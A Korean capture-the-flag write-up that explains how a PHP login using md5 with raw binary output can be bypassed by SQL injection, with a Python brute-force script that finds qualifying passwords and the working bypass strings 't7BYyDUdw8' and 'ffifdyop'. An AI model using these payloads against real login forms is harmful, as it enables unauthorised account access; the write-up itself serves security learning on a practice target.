
문제에 접속하면 Admin page와 로그인 창이 나옵니다. 아무 계정으로 로그인을 해보면 Wrong이 출력됩니다. 우하단에 view_source가 있으니 코드를 한 번 보겠습니다.
<?php
if($_POST['id'] && $_POST['pw']){
$db = dbconnect();
$input_id = addslashes($_POST['id']);
$input_pw = md5($_POST['pw'],true);
$result = mysqli_fetch_array(mysqli_query($db,"select id from chall51 where id='{$input_id}' and pw='{$input_pw}'"));
if($result['id']) solve(51);
if(!$result['id']) echo "<center><font color=green><h1>Wrong</h1></font></center>";
}
?>
입력 폼을 통해 POST로 id와 pw를 받습니다.
id는 addslashes라는 함수를 실행하여 input_id에 저장합니다. 여기서 addslashes 함수는 PHP에서 문자열 내의 특정 문자(', ", \, NULL) 앞에 백슬래시를 붙여서 코드가 아닌 데이터로 인식시키는 함수입니다.
pw는 md5 해시 함수를 통해 암호화하여 input_pw에 저장합니다.
id와 pw 둘 다 addslashes와 md5를 통해 SQL Injection을 방지하고 있는 것 처럼 보입니다. 하지만 md5($_POST['pw'], true) 에서 true라는 옵션에 주목해야 합니다. md5 함수의 두 번째 파라미터인 $raw_output에 true를 주게 되면 16바이트 길이의 원시 바이너리(Raw Binary) 데이터를 그대로 반환합니다. 이게 문제가 되는 이유는 DB에서 이 바이너리 데이터를 일반적인 ASCII 문자열로 해석하려고 시도하기 때문에 해시 함수 값이 'or' 혹은 '='으로 나오는 데이터를 찾아 SQL Injection을 수행할 수 있습니다.
import hashlib
import random
import string
import time
def find_md5_sqli_payload():
print("🎯 MD5 SQL 인젝션 페이로드 탐색을 시작합니다...")
attempts = 0
start_time = time.time()
# 랜덤으로 생성할 문자셋 (알파벳 대소문자 + 숫자)
charset = string.ascii_letters + string.digits
while True:
# 10자리 길이의 랜덤 문자열 생성
raw_string = ''.join(random.choices(charset, k=10))
# md5 해시 후 16바이트 원시 바이너리(digest) 추출
hash_bytes = hashlib.md5(raw_string.encode('utf-8')).digest()
# ---------------------------------------------------
# 1. '=' 패턴 검사
# ---------------------------------------------------
if b"'='" in hash_bytes:
idx = hash_bytes.find(b"'='")
# '=' 패턴(길이 3) 뒤에 오는 문자가 있는지 확인
if idx + 3 < len(hash_bytes):
next_char = hash_bytes[idx + 3]
# 아스키코드 49('1') ~ 57('9')가 아니어야 0으로 자동 형변환됨
if next_char < 49 or next_char > 57:
print(f"\n[🔥 찾았습니다! '=' 패턴 성공]")
print(f" - 입력할 평문(Payload) : {raw_string}")
print(f" - 생성된 바이너리 Hex : {hash_bytes.hex()}")
break
# ---------------------------------------------------
# 2. 'or' 패턴 검사
# ---------------------------------------------------
if b"'or'" in hash_bytes:
idx = hash_bytes.find(b"'or'")
# 'or' 패턴(길이 4) 뒤에 오는 문자가 있는지 확인
if idx + 4 < len(hash_bytes):
next_char = hash_bytes[idx + 4]
# 아스키코드 49('1') ~ 57('9') 사이여야 참(True)으로 인식됨
if 49 <= next_char <= 57:
print(f"\n[🔥 찾았습니다! 'or' 패턴 성공]")
print(f" - 입력할 평문(Payload) : {raw_string}")
print(f" - 생성된 바이너리 Hex : {hash_bytes.hex()}")
break
attempts += 1
# 100만 번 시도할 때마다 진행 상황 출력
if attempts % 1000000 == 0:
elapsed = time.time() - start_time
print(f"... {attempts:,}번 시도 중 ({elapsed:.1f}초 경과) ...")
if __name__ == '__main__':
find_md5_sqli_payload()
조건에 맞는 문자열을 찾는 python 코드입니다. md5 해시 후 16바이트 원시 바이너리 값에 '=' 또는 'or' 가 포함되는 문자열을 찾아줍니다.
'=' 패턴 검사에서 '=' 이후 1~9 사이가 아닌지 검사를 하는 이유는 MySQL에서는 문자열인 '뒷부분'을 숫자 0과 비교하기 위해, 문자열을 숫자로 강제로 변환하려고 시도합니다. 만약 문자열이 123abc처럼 숫자로 시작한다면 이를 숫자 123으로 변환됩니다. 이 경우 0=123이 되어 결과가 False가 됩니다. 하지만 숫자 외에 문자나 특수기호로 시작된다면 0으로 변환해버리기 때문에 select id from chall51 where id='{$input_id}' and 0=0 이 되어 id만 실제로 존재한다면 True가 됩니다.
'or'의 경우는 '=' 패턴과 반대로 or 이후가 0이 아니어야 하므로 'or' 이후 1~9사이가 되어야 합니다.

'=' 패턴으로 성공하였으므로 ID에는 존재하는 값인 admin을, 비밀번호에는 t7BYyDUdw8를 넣으면 문제를 해결할 수 있습니다.

'or' 패턴은 조건이 훨씬 까다로워서 그런지 시간이 오래 걸리는 모습입니다. 'or' 패턴 중에는 ffifdyop 라는 알려진 우회 문자열이 있으므로 비밀번호에 ffifdyop를 넣어서도 문제를 해결할 수 있습니다.